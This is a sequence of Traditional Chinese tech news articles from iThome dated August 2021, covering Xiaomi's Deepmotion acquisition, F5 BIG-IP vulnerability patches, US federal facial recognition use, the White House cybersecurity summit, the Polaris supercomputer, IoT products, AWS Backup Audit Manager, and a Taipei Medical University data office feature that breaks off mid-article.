<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>小米集團周三（8/25）公布今年第二季的財報，同時宣布將以7,737萬美元的價格，<a href="https://cdn.cnbj1.fds.api.mi-img.com/company/announcement/en-us/%E8%8B%B1%E6%96%87-_2021082500731.pdf" target="_blank">買下中國的自駕車新創深動科技（Deepmotion Tech Limited）</a>。</p> <p>總部位於北京的深動科技成立於2017年，員工人數尚不到50人，主要開發自動駕駛解決方案，宣稱可整合各種感應器，並透過雲端架構來更新地圖與最佳化的自動駕駛演算法，還標榜可將AI演算法快速部署於不同的嵌入式平臺，以及具備硬體設計能力以解決軟、硬體的搭配問題。</p> <p>目前的深動科技提供自動停車軟體解決方案、感應系統解決方案，以及自動化地圖與高精度定位等模組。不過，在小米宣布此一收購案之後，<a href="https://deepmotion.ai/" target="_blank">深度科技的官網</a>已無法存取。</p> <p>根據<a href="https://www1.hkexnews.hk/listedco/listconews/sehk/2021/0330/2021033000824.pdf" target="_blank">小米提交給香港交易所的文件</a>，小米將成立一個全新的子公司來經營智慧電動車業務，初期投入的資金為100億元人民幣（約15.5億美元），而未來10年的總投資可望達到100億美元，並由小米集團的執行長雷軍擔任此一新公司的執行長。</p> <p>小米表示，該公司希望能夠提供高品質的智慧電動車，以讓全球的使用者都能享受智慧生活。</p> <p>小米今年第二季的營收為878億元人民幣，比去年同期增加了64%，獲利為63億元人民幣，成長87.4%。從營收類別來看，手機依然是小米集團最主要的營收來源，該季替小米帶進了592億美元的營收，占小米總營收的67.3%。</p> </div></div></div>
2021/8/26 15:52作者陳曉莉https://www.ithome.com.tw/news/146400
F5修補Big-IP重大漏洞
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://support.f5.com/csp/article/K50974556" target="_blank">F5本周發布安全公告</a>，包含13個高風險及1個允許攻擊者執行指令或刪改檔案的重大安全漏洞。</p> <p>此次F5修補的30個漏洞中包括13個高風險漏洞，其中<a href="https://support.f5.com/csp/article/K41351250" target="_blank">CVE-2021-23031</a>屬於權限升級漏洞。它位於流量管理員UI（TMUI）的組態工具中，一旦遭到開採，具有存取權限的攻擊者就可於系統上執行任意系統指令、新增、刪改檔案，或是關閉服務，甚至可讓攻擊者接管整臺系統。</p> <p>這個漏洞影響BIG-IP Advanced WAF（Web Application Firewall）11.x-16.x版，和 BIG-IP ASM（Application Security Manager），CVSS 3.0 風險值8.8，但在純裝置模式（Appliance Mode Only）下風險值高達9.9。</p> <p>由於這漏洞允許合法使用者發動攻擊，故沒有有效的緩解方法，F5建議用戶儘速升級到最新版本以確保安全。</p> <p>其他高風險漏洞風險值分佈於7.2和7.5之間。其中Big IP Advanced WAF 與ASM還分別存在其他4項漏洞（CVE-2021-23028、CVE-2021-23029、CVE-2021-23030、CVE-2021-23032、CVE-2021-23033），導致程式終結及伺服器請求偽造（Server-Side Request Forgery）攻擊。其他漏洞還有跨站腳本程式碼（XXS）、遠端程式碼執行（RCE）攻擊及程式中止，影響產品包括BIG-IP DNS、BIG-IP TMM、BIG-IP TMUI、iControl等。</p> </div></div></div>
2021/8/26 14:21作者林妍溱https://www.ithome.com.tw/news/146397
美國政府審計辦公室調查：聯邦機構的人臉辨識應用以數位存取及網路安全為大宗
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.gao.gov/assets/gao-21-526.pdf" target="_blank">美國政府審計辦公室（GAO）本周再度公布</a>美國聯邦機構使用人臉辨識技術（Facial Recognition Technology，FRT）的調查報告，指出在接受調查的24個機構中，有18個正在使用FRT系統，其目的各自不同，但有高達16個機構是應用在數位存取及網路安全上，算是最普及的應用。</p> <p>有些機構的FRT只有單一功能，但大多數擁有多重目的。調查顯示，有16個機構是以人臉辨識技術來執行數位存取及網路安全任務，例如要解鎖官方提供的手機或筆電時，或是要存取政府網站時，作為身分識別之用。</p> <p>亦有6個機構利用人臉辨識系統來進行犯罪調查，有時是辨識嫌犯，有時是辨識受害者，而它們使用的可能是商業人臉辨識系統，例如國土安全部（DHS）、司法部（DOJ）、美國衛生及公共服務部（HHS）及美國內政部（DOI）使用了<a href="https://www.ithome.com.tw/news/135443" target="_blank">Clearview AI</a>。</p> <p>有5個機構以FRT系統來保障實體安全，包括監控特定人士是否進入了某處，或者是控制某個場所或建築的入口，例如有一個機構以FRT來監控即時影片中是否出現了某些警告名單中的人物，並在發現時通知警衛，包括商務部、國防部、能源部、司法部與美國衛生及公共服務部。</p> <p>美國國土安全部及美國國務院也利用FRT系統來辨識非法入境美國的旅客；有4個機構以FRT來維護國家與國防安全，如偵測恐怖份子。</p> <p>此外，總計有10個機構藉由FRT系統來進行研究，例如有多個機構借助FRT的能力，於疫情期間偵測人們戴口罩的比例，或是用來偵測圖像處理；還有3個機構利用FRT來確認取得臨時通行證的訪客身分，像是國防部、司法部與NASA。</p> <p>值得一提的是，有些機構擁有不只一個FRT系統，例如國防部及司法部各自擁有7個FRT系統，國土安全部則擁有4個FRT系統，而且它們還經常會互通有無。此外，有10個機構打算在2023年以前擴大FRT系統的應用，像是擴大在機場的部署。</p> </div></div></div>
2021/8/26 14:46作者陳曉莉https://www.ithome.com.tw/news/146398
白宮舉行資安高峰會：微軟、Google、蘋果、Amazon及IBM等業者共襄盛舉，承諾將大幅改善資安
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p><a href="https://www.whitehouse.gov/briefing-room/statements-releases/2021/08/25/fact-sheet-biden-administration-and-private-sector-leaders-announce-ambitious-initiatives-to-bolster-the-nations-cybersecurity/" target="_blank">美國總統拜登（Joe Biden）在本周三（8/25）會見了私人企業與教育界的領袖</a>，共同商討如何透過全國的努力來解決美國的資安威脅，除了由政府發起的多個倡議之外，微軟、Google、蘋果、Amazon及IBM等業者也都作出了承諾，其中，Google及微軟將在未來5年分別投入100億及200億美元的資金，來推動供應鏈、開源碼與架構的安全性。</p> <p>這場資安高峰會擘畫了各方所扮演的角色，從美國政府、私人企業到教育機構。</p> <p><span style="font-size:28px;"><strong>政策先行</strong></span></p> <p>去年12月美國網管平臺業者<a href="https://www.ithome.com.tw/article/141943" target="_blank">SolarWinds遭到多個駭客組織入侵</a>，微軟<a href="https://www.ithome.com.tw/news/143001" target="_blank">Exchange Server於今年3月爆發零時差攻擊行動</a>，美國最大燃油管道系統Colonial Pipeline在今年5月7日遭到勒索軟體攻擊，<a href="https://www.ithome.com.tw/news/144276" target="_blank">造成美國東岸45%的燃料供應中斷</a>，持續發生的資安事件讓<a href="https://www.whitehouse.gov/briefing-room/statements-releases/2021/05/12/fact-sheet-president-signs-executive-order-charting-new-course-to-improve-the-nations-cybersecurity-and-protect-federal-government-networks/" target="_blank">拜登於5月12日簽署一行政命令</a>，要求改善美國的網路安全並保護聯邦政府的網路。</p> <p>該行政命令的主要目的包括：促進政府與私人機構之間的威脅情報分享，於聯邦政府中實施更現代化也更強大的網路安全標準，改善軟體供應鏈的安全性，建立網路安全審查委員會，建立回應網路意外的標準手冊，改善聯邦政府網路偵測網路安全意外的能力，以及增進調查與修復能力。</p> <p>而在本周舉行的資安高峰會上，拜登再度宣布美國國家標準與技術研究所（NIST）將與產業合作，共同開發一個新框架來提高技術供應鏈的安全與完整性，且微軟、Google、IBM、Travelers及Coalition都將加入此一倡議。</p> <p>拜登也宣布將把工業控制系統網路安全倡議所專注的領域，從原先的電力公用事業，擴大到天然氣管道。</p> <p><span style="font-size:28px;"><strong>私人企業共襄盛舉</strong></span></p> <p>美國的大型企業亦紛紛承諾要加入白宮的號召。其中，蘋果計畫建立一個新專案來改善該公司技術供應鏈的安全性，將與其供應鏈合作，大規模地採行雙因素認證、安全訓練、漏洞修復、事件紀錄及意外回應等，包括在美國的逾9,000家蘋果供應鏈。</p> <p><a href="https://blog.google/technology/safety-security/why-were-committing-10-billion-to-advance-cybersecurity/" target="_blank">Google則宣布將在未來5年投入100億美元的資金</a>，擴張其各式的零信任專案，協助強化軟體供應鏈及開源碼的安全性，以及協助10萬名美國人取得經產業認可的數位技能證書，讓他們可申請高薪與高成長的工作。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0826-Nation%20Cybersecurity%20%E8%B0%B7%E6%AD%8C.png" style="width: 500px;" /></p> <p>IBM也將加入資安人才培養，準備在未來3年訓練出15萬名具備資安能力的人才，並與逾20所黑人學院/大學合作，建立網路安全領導中心，培育更多樣化的網路人才。</p> <p><a href="https://twitter.com/satyanadella/status/1430646543376289793" target="_blank">微軟也將在未來5年大手筆地投入200億美元</a>，以於產品及服務中整合網路安全，並提供先進的安全解決方案，同時立即提供1.5億美元的技術服務，來協助美國聯邦、州與地方政府升級安全保護能力，也將擴大與各大專院校在培育資安人才上的合作案。</p> <p class="rtecenter"><img alt="" src="https://s4.itho.me/sites/default/files/images/0826-Nation%20Cybersecurity%20%E5%BE%AE%E8%BB%9F.png" style="width: 500px;" /></p> <p>Amazon將免費釋出內部的安全意識訓練服務，且未來每個AWS帳號都可免費取得多因素認證裝置來預防網釣或密碼竊盜威脅，以保障AWS用戶的帳號安全。</p> <p>網路保險服務供應商Resilience與Coalition也加入了本周的高峰會，Resilience宣布將制定新政策，只有符合網路安全最佳實踐的客戶才能投保，Coalition則說要免費釋出其網路安全風險評估暨持續監控平臺。</p> <p><span style="font-size:28px;"><strong>透過資安教育培養更多的人才</strong></span></p> <p>根據白宮的估計，涵蓋私人企業或政府機構，目前全美大概還缺少接近50萬名的資安人才，而這也是為什麼各大企業除了改善自家安全能力之外，也承諾要幫忙進行教育訓練。</p> <p>而程式設計培訓平臺Code.org承諾會在未來3年內，向300萬名學生教授網路安全概念。專門培養女性程式設計師的Girls Who Code則準備建立一個微型培訓計畫，協助那些少數族群取得獎學金與早期的職業機會。德國大學系統將擴大既有的網路相關證書，同時推出短期的網路證書，來加強美國的網路安全工作者。甫成為美國國家科學基金會（NSF）先進技術教育國家網路安全中心的華盛頓州社區大學，未來將提供網路安全教育，進行教師的培訓，以及追蹤學生從唸書到就業的過程。</p> </div></div></div>
2021/8/26 13:36作者陳曉莉https://www.ithome.com.tw/news/146396
美能源部將部署Exascale等級GPU超級電腦Polaris
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>美國能源部下的阿貢國家實驗室<a href="https://nvidianews.nvidia.com/news/nvidia-turbocharges-extreme-scale-ai-for-argonne-national-laboratorys-polaris-supercomputer" target="_blank">（Argonne National Laboratory）昨（25）日宣布</a>，將使用結合HPE、AMD、Nvidia技術打造、超過2千顆 GPU的Exascale等級超級電腦，名為Polaris，以支援美國能源部的進階工程及科學研究。</p> <p>Polaris超級電腦將代管在阿貢國家實驗室的領導運算設施（ALCF），它是由280部HPE Apollo Gen10 Plus系統組成，並搭載560顆AMD 2、3代EPYC處理器、2,240顆Nvidia A100 Tensor Core GPU，以及HPE Slingshot乙太網路光纖交換器及管理軟體。這座超級電腦可產生1.4 exaflops的理論AI運算效能，以及將近44 petaflops的雙精度（double-precision）浮點運算尖峰效能。而Polaris搭載的GPU數量之多，也使之成為ALCF最大的GPU-based電腦。</p> <p>若根據6月公佈的<a href="https://www.top500.org/lists/top500/2021/06/" target="_blank">500大超級電腦名單</a>，Polaris的效能約相當於全球第9大超級電腦。</p> <p>Polaris一開始將用於能源部Exascale運算專案（Exascale Computing Project），及ALCF一系列高效能運算（HPC）及人工智慧（AI）的工程和科學研究專案。Polaris將支援阿貢國家實驗室科學家進行腫瘤細胞及藥物、分子對撞尋求暗物質證據等，牽涉複雜與高速運算的研究，也會用於潔淨能源、生物質（biomass）轉為生質燃料等技術研發。此外，也會支援其他機構，包括同屬能源部的阿貢實驗室先進光子源（Advanced Photon Source）及奈米材料中心的研究。</p> <p>而能源部Exascale運算專案也會利用Polaris測試軟體及應用程式測試及最佳化，以用於阿貢國家實驗室另一座Exascale等級超級電腦Aurora，後者將採用Intel CPU及HPE伺服器及網路技術。</p> <p>Polaris將在今年8月開始安裝、部署，預計2022年初上線使用，而在明年春天開放給HPE研究計畫團隊使用。</p> </div></div></div>
2021/8/26 12:13作者王珮瑤https://www.ithome.com.tw/news/146394
IoT雙周報第98期：Google翻新Nest家用保全產品，整合TPU邊緣運算晶片每秒可執行7.5次ML推論
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <h3><span style="color: rgb(0, 0, 255);"><strong>08/07~08/20精選IoT新聞</strong></span></h3> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">Google </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> AIoT </span></strong></span></p> <p><span style="font-size: 22px;"><strong>Google Nest家用保全產品大翻新，全面導入AIoT邊緣運算功能</strong></span></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%40%E5%9C%961%EF%BC%9A%E5%9C%961_IoT%E9%9B%99%E5%91%A8%E5%A0%B1.jpg" style="width: 600px; height: 337px;" /></p> <p>近日Google一連推出4款Nest家用保全系列產品，皆整合AIoT應用服務，可以直接在產品裝置上執行AI或機器學習模型。</p> <p>這4款產品，包括一款室內用升級版Google Nest Cam監視器、整合室外燈的監視器Google Nest Cam with floodlight以及兩款電池供電的Google Nest Cam監視器與Google Nest Doorbell。</p> <p>Google為這4款Nest家用保全產品，皆提供本地端AIoT執行功能，除了可以就近提供影像識別，在偵測到有人、動物、車輛或包裏靠近時傳送通知，甚至也提供更進階人臉辨識功能。因為是在本地端執行ML推論模型，資料不一定要傳雲，所以即使沒有網路也能用，並且在離線狀態下可記錄長達一周的影像事件。</p> <p>在裝置硬體部分也有所強化，不論是新的Nest監視器或門鈴皆內建Google TPU晶片，可以高度省電方式在裝置上跑ML模型，且每秒可執行多達7.5次推論。</p> <p>電池版Nest Cam和Nest Doorbell已開放預訂，並在8月24日正式銷售，售價均為179.99美元。結合照明的Nest Cam監視器和新一代Nest Cam不久也將推出，價格各是279.99美元與99美元。</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 穿戴式手錶 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 三星 </span></strong></span></p> <p><span style="font-size: 22px;"><strong>三星新智慧手錶Galaxy Watch4問世，不只翻新OS還原生整合Google應用服務</strong></span></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%40%E5%9C%962%EF%BC%9A%E5%9C%962_IoT%E9%9B%99%E5%91%A8%E5%A0%B1.jpg" style="width: 600px;" /></p> <p>在日前一場新品發表會上，三星發布新一代智慧手錶Galaxy Watch4，除了更新各種健康運動功能外，最大改變就是採用與Google合作打造的統合Wear OS作為三星手錶新OS，取代三星原有Tizen OS。</p> <p>與先前三星Galaxy Watch手錶相比，Galaxy Watch4所搭載的Wear OS原生整合Google應用服務，包含Google地圖、Messages、Google Pay付款，以及YouTube Music，還可從Google Play將第三方App下載到Galaxy Watch4，如adidas Running、Calm、Strava與Spotify等。</p> <p>新版Wear OS還採用全新One UI Watch操作介面，不僅手錶介面與App外觀皆改用Google的Material You設計語言做開發，來提供用戶更好地的操作體驗，還因此提高與三星手機整合與同步。</p> <p>對於與三星合作打造新Wear OS，Google穿戴產品管理總監Bjorn Kilburn 在自家部落格發表文章表示，借助新Wear OS，不僅讓Galaxy Watch4設定快2.5倍，而且續航力更長，達到40 小時，且App啟動時間更短，只有原來三分之一，還可支援Google眾多應用和服務生態系。</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 瑞士郵政 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> LoRa </span></strong></span></p> <p><span style="font-size: 22px;"><strong>百年瑞士郵政推到府快遞服務，結合一鍵訂購IoT按鈕免出門就能寄信</strong></span></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%40%E5%9C%963%EF%BC%9A%E5%9C%963_IoT%E9%9B%99%E5%91%A8%E5%A0%B1.jpg" style="width: 600px;" /></p> <p>因應數位化浪潮，百年老字號的瑞士郵政（Swiss Post）也積極轉型，最近更開始運用物聯網技術，將郵務服務結合一鍵訂購IoT按鈕，提供民眾更迅速到府快遞服務。</p> <p>這個一鍵訂購IoT按鈕外型，就像是一支觸控筆，不僅裝了LoRa收發器，還內建OID光學感測器，使用者只須按下筆上按鈕，就能用它感應印刷紙上的數位訊息，來完成郵務服務申請的動作，包括寄送信件和運送包裹、選購郵票，連取款或支付帳單等，都能夠過它來一鍵完成。</p> <p>觸控筆讀取到訂單訊息，會透過LoRa物聯網網路，將訂單回傳到瑞士郵政雲端伺服器，系統接到訂單後就會進行任務指派，郵務員收到通知後就會到府來取件，民眾免出門。就像亞馬遜幾年前推出了一鍵式訂購按鈕那樣。</p> <p>因採用低功耗LoRa無線傳輸技術來進行數據傳輸，所以不像使用Wi-Fi或4G，即使是民眾住家附近沒有任何郵局，或是居住偏遠地區沒有網路也能用。而且其LoRa通訊範圍可以覆蓋97%的瑞士人口。迄今為止，在瑞士已有超過10萬人使用這項IoT到府快遞服務，更有40萬戶家庭將跟進採用。</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 四足機器人 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 小米 </span></strong></span></p> <p><span style="font-size: 22px;"><strong>小米首款平價四足機器人CyberDog亮相 </strong></span></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%40%E5%9C%964%EF%BC%9A%E5%9C%964_IoT%E9%9B%99%E5%91%A8%E5%A0%B1.jpg" style="width: 600px; height: 300px;" /></p> <p>小米在本月新品發表會上展示其打造的首款四足機器人CyberDog，不僅可以依據主人口令完成如握手、繞圈子等動作，甚至連後空翻都難不倒它。</p> <p>CyberDog外型也與機器人公司Boston Dynamics的機器狗Spot相似，同樣有四隻腳，並能自主行走。CyberDog身體能力相當強，最大扭力輸出可達32牛頓米（Nm），以及220 RPM每分鐘轉速，讓它可靈活移動和完成後空翻等複雜動作。</p> <p>CyberDog的AI大腦則是使用Nvidia邊緣AI硬體Jetson Xavier NX做開發，還搭配了11種高精度感測器，來感知周遭環境，包括觸摸感測器、超聲波感測器、廣角魚眼鏡頭、GPS定位模組等，還整合Intel RealSense深度攝影機來建立立體影像環境，用於機器人AI視覺訓練。</p> <p>現階段而言，CyberDog表現還不如機器狗Spot聰明，只能完成一些簡單的指令動作，還無法做出複雜連續性動作，如跳繩、跳舞等。不過， CyberDog價格僅不到Spot的55分之一，約臺幣4萬2。小米初期僅提供1千臺，供開發人員及機器人愛好者使用。</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">高通 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 無人機平臺 </span></strong></span></p> <p><span style="font-size: 22px;"><strong>高通發表新一代5G無人機參考設計平臺，並整合邊緣運算AI推論能力 </strong></span></p> <p><img alt="" src="https://s4.itho.me/sites/default/files/images/%40%E5%9C%965%EF%BC%9A%E5%9C%965_IoT%E9%9B%99%E5%91%A8%E5%A0%B1.jpg" style="width: 600px; height: 400px;" /></p> <p>高通最近發布新一代無人機參考設計平臺Qualcomm Flight RB5 5G，整合5G和AI功能，來提供無人機更安全、更可靠的飛航能力，未來可用於商業、企業和工業無人機的開發，打造高性能、低功耗的5G無人機。</p> <p>這個參考設計平臺硬體，整合邊緣運算AI推論能力，CPU採用Kryo 585 處理器，搭配Adreno 650 GPU，可提供15 TOPS（每秒兆次運算），還整合高通AI加速器Hexagon 680 DSP，可以直接在無人機上執行複雜DL（深度學習）推論模型，且最多可支援7臺攝影機擷取影像。</p> <p>網路方面，其所採用QRB5165處理器是基於Snapdragon 865晶片來設計，可以支援5G毫米波和最新Wi-Fi 6。高通無人機開發套件預計將於 2021年底前上市。該公司目前正與美國電信商Verizon合作，使用其5G網路進行測試。</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);">華碩 </span></strong></span> <span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> Edge AI </span></strong></span></p> <p><span style="font-size: 22px;"><strong>華碩運用Edge AI技術打造電動車專用快充站，不只能就近辨識車牌，還可連動計費</strong></span></p> <p>華碩與華城電能合作，在內湖打造一座電動車專用快充站，在這個充電設備內整合華碩Edge AI開發套件，並搭配攝影機，不僅可以就近提供AI車牌辨識，還結合白名單比對，可以自動且快速完成停車位地鎖操作，讓需要充電的車主使用更方便。他們將車牌辨識功能與充電系統串接，能夠連動計費，車主離場時可一併繳納充電與停車費用。</p> <p>圖片來源/Swiss Post、Google、小米、高通</p> <p><span style="color: rgb(255, 255, 255);"><strong><span style="background-color: rgb(51, 153, 255);"> 更多IoT動態 </span></strong></span></p> <p><strong>1.安全廠商IoT Inspector發現臺廠Realtek無線裝置晶片存有安全漏洞，恐影響數十家IoT廠商產品</strong></p> <p><strong>2. MarketsandMarkets預測，工業IoT應用市場規模5年內將突破千億美元大關，達到1,061億美元</strong></p> <p><strong>資料來源：iThome整理，2021年8月</strong></p> </div></div></div>
2021/8/26 10:13作者余至浩https://www.ithome.com.tw/news/146391
AWS Backup新功能Audit Manager可監控備份產生稽核用報告
<div class="field field-name-field-news-column-category field-type-taxonomy-term-reference field-label-hidden"><div class="field-items"><div class="field-item even"><a href="/tags/%E6%96%B0%E8%81%9E">新聞</a></div></div></div><div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>AWS宣布推出<a href="https://aws.amazon.com/tw/blogs/aws/monitor-evaluate-and-demonstrate-backup-compliance-with-aws-backup-audit-manager/">AWS Backup Audit Manager</a>，這是備份服務AWS Backup的一項新功能，可讓用戶監控和評估備份的法遵狀態，來滿足業務和法規要求，並且讓用戶能夠生成報告，向稽核人員和監管機構說明其法遵狀態。</p> <p>AWS Backup是一項完全託管的服務，藉由制定政策對AWS應用程式進行備份和還原，用戶不需要自定義腳本和手動操作，因此能簡化大規模備份工作，但AWS提到，用戶仍需要使用自己的工具來驗證備份政策的執行，並且解析備份紀錄，將其轉換成為提供給稽核人員的報告。</p> <p>為了解決這個問題，AWS在備份服務加入Audit Manager功能，持續自動追蹤備份活動，像是備份計畫或是備份保管庫的更改，還能自動生成每日報告，官方提到，AWS Backup Audit Manager提供內建可自定義的法遵控制元件，這些控制元件便是具有備份政策參數的程序，包括備份頻率或是保留時間，來符合業務法規要求。</p> <p>簡單來說，Audit Manager可讓用戶創建一個框架，設定監控的帳戶和地區，並添加需要的控制元件，而控制元件會自動追蹤備份活動，並且偵測違反用戶所定義的資料保護政策行為，提醒用戶快速修正錯誤。</p> <p>當需要滿足多個不同的內部或是監管標準，用戶可以創建和部署額外的控制框架，在框架部署之後，便能每日自動生成備份活動報告，除了顯示在儀表板之外，也能夠按需生成報告。官方在Audit Manager中提供了5個備份治理控制樣板，以及備份、複製和還原任務的備份活動報告，這些報告能夠提高用戶對單個帳戶和地區備份活動的掌握程度，透過監控操作狀態來辨識需要介入的故障。</p> <p>AWS Backup Audit Manager已經在許多AWS地區上線，包括美東、美西、加拿大、歐洲、南美洲和中東，而亞太則在香港、孟買、首爾、新加坡、雪梨和東京地區提供，用戶直接存取AWS Backup控制臺，就能立刻開始使用Audit Manager功能。</p> </div></div></div>
2021/8/26 10:04作者李建興https://www.ithome.com.tw/news/146390
北醫治理三院百萬大數據，再攻FHIR癌症基因資料
<div class="field field-name-body field-type-text-with-summary field-label-hidden"><div class="field-items"><div class="field-item even"> <p>兩年前，臺北醫學大學出現了一個特別的組織。它與資訊處同等，都是一級單位，但職責不只限於學校，更涵蓋3家醫院，一肩扛起北醫體系所有數據管理的重任。</p> <p>帶頭的指揮官，更是一位經驗豐富的IT老將，不僅是萬芳醫院早期發展新一代醫療IT應用的推手，也擔任過首任衛福部資訊處處長，現在更是國際醫療資訊標準協會HL7臺灣分會的理事長。</p> <p>這個組織，就是臺北醫學大學數據處（簡稱北醫大數據處），而這位關鍵人物，就是臺北醫學大學數據處數據長許明暉。「當數據變得非常龐大、複雜時，就需要專責單位分工處理，」許明暉強調：「健康領域更是如此！」</p> <p>甚至，臺灣醫界最常借鏡的美國國衛院（NIH）也早在2018年，設置數據長（Chief Data Officer）一職和資料策略辦公室（ODSS），來建立標準化生醫資料處理流程。隔年，北醫也跟上這股趨勢，在北醫大下設置數據處，來統籌三家附屬醫院和學校的資料管理工作，成為臺灣少數設置數據長的醫療體系。</p> <p>「數據處有如一套共通的基礎設施，」許明暉說明，這樣的角色，整合了附屬醫院和北醫大所有的數據資料，統一提供資料處理服務和客製化資料集，個別單位就不必各自設置相同職責的組織，來處理複雜的數據。許明暉更進一步形容，北醫大數據處就像食材標準化的市場，將龐雜的數據標準化，有如「將原始的食材，製作為料理包，」讓使用者輕鬆烹煮、快速發揮效益。</p> <p><span style="font-size:28px;"><strong>健康數據有多複雜？不只3家附屬醫院百萬筆資料要打理</strong></span></p> <p>不過，健康數據究竟有多複雜，需要北醫體系設置專責單位來應對？這從北醫大數據處打理的資料類型，就能以小窺大。</p> <p>首先，他們得治理北醫體系歷年來累積的大量自有資料，包括北醫附醫、萬芳醫院、雙和醫院等三家醫院，徵得病患同意後所取得的各種臨床資料。</p> <p>這三家醫院擁有近380萬名病患的臨床資料，橫跨近半百個科別，小自病患就醫資訊、治療步驟，大至各種手術、檢驗檢查報告，甚至是癌症相關資訊與基因資料，都包含在內。</p> <p>再來是許明暉所稱的「聯盟資料，」也就是用於跨國研究的健康資料。比如，北醫大去年加入國際觀察性健康數據聯盟（OHDSI），成為全球300多個據點中的一員，以「資料不出門、共享演算成果」的模式，來與國際成員交流、研究。</p> <p>為做到這一點，數據處負責資料格式轉換工作，將內部資料轉換為OHDSI專用資料格式OMOP-CDM（Common Data Model），來展開跨國研究。</p> <p>不過，北醫大數據處還需費心處理一類資料，即大量的外部開放資料。舉例來說，他們整理了美國NIH資助打造的重磅醫學重症資料庫MIMIC-III，提供橫跨11年、包含數十萬名患者的住院資料，來給校內師生和醫院同仁使用，一方面作為教學工具，一方面也作為深入研究的材料。</p> <p>不只如此，北醫大數據處還有個經營健保資料庫的任務。衛福部健保署開放健保資料庫加值研究已有數年，全國研究者除了能在衛福部本部申請研究，也能在全臺10個分中心使用，北醫大就是其一。而北醫大數據處，就負責分中心的維運工作。</p> <p><span style="font-size:28px;"><strong>下設四大中心分工，還有AI專家進駐提供代客烹煮的數據分析服務</strong></span></p> <p>為進一步管理複雜的健康數據，數據處還下設四大中心，來分工負責不同的內外數據服務。</p> <p>比如，健康暨臨床研究資料加值中心負責維運北醫大健保資料庫分中心，甚至進駐多位統計學專家和資料科學家，來提供「代客烹煮」的數據分析服務。</p> <p>研究者若想以健保相關大數據開發AI模型，但本身AI技能不足，就能透過中心專家來打造模型。許明暉比喻：「這就像我們提供處理好的食材，但顧客不會料理，這時就能透過我們的AI專家，來協助烹調。」</p> <p>再來，數據處還有個臨床數據中心，負責整合三家醫院的電子病歷資料，包括病患基本訊息、就醫資訊、檢驗報告、治療步驟等結構化資料，以及醫師記錄、病理報告、醫學影像報告等非結構化資料。臨床數據中心專門將這些資料，彙整為可分析的資料。</p> <p>今年8月，數據處還新設一個北醫非常期待的單位「生物資訊中心」，來專攻精準醫療。這個中心將結合校內高通量生物技術和雲端分析平臺，運用自有的百萬筆臨床數據和需複雜運算才能處理的多體學（Omics）資料，來打造一站式生物數據分析服務。</p> <p>這就是北醫大數據處生物資訊中心的目標。但他們還有一個任務：分擔中研院發起的臺灣精準醫療計畫（TPMI）。這個TPMI計畫，是要打造臺灣百萬人基因資料庫，而北醫大負責收集其中5萬人的基因資料，未來，生物資訊中心還將提供相關資料分析服務。</p> <p>除了這三個中心，數據處下還有一個專精教育數據分析的校務研究中心，來負責教育數據處理。比如，該中心會追蹤學生在校和離校後的表現，進一步協助學校擬定多元入學政策。</p> <p><span style="font-size:28px;"><strong>遵循敏捷開發小而美精神，與使用者完善客製化資料集</strong></span></p> <p>這些資料林林總總，相當複雜，著手處理更煞費苦心。不過，許明暉也分享一套實戰法則，來說明團隊如何打造使用者可立即上手的乾淨資料集。</p> <p>以臨床數據來說，醫院取得病人同意的臨床資料後，會由北醫大資訊處進行資料ETL，將資料放置到特定資料湖，再由數據處接手，展開資料處理工作。</p> 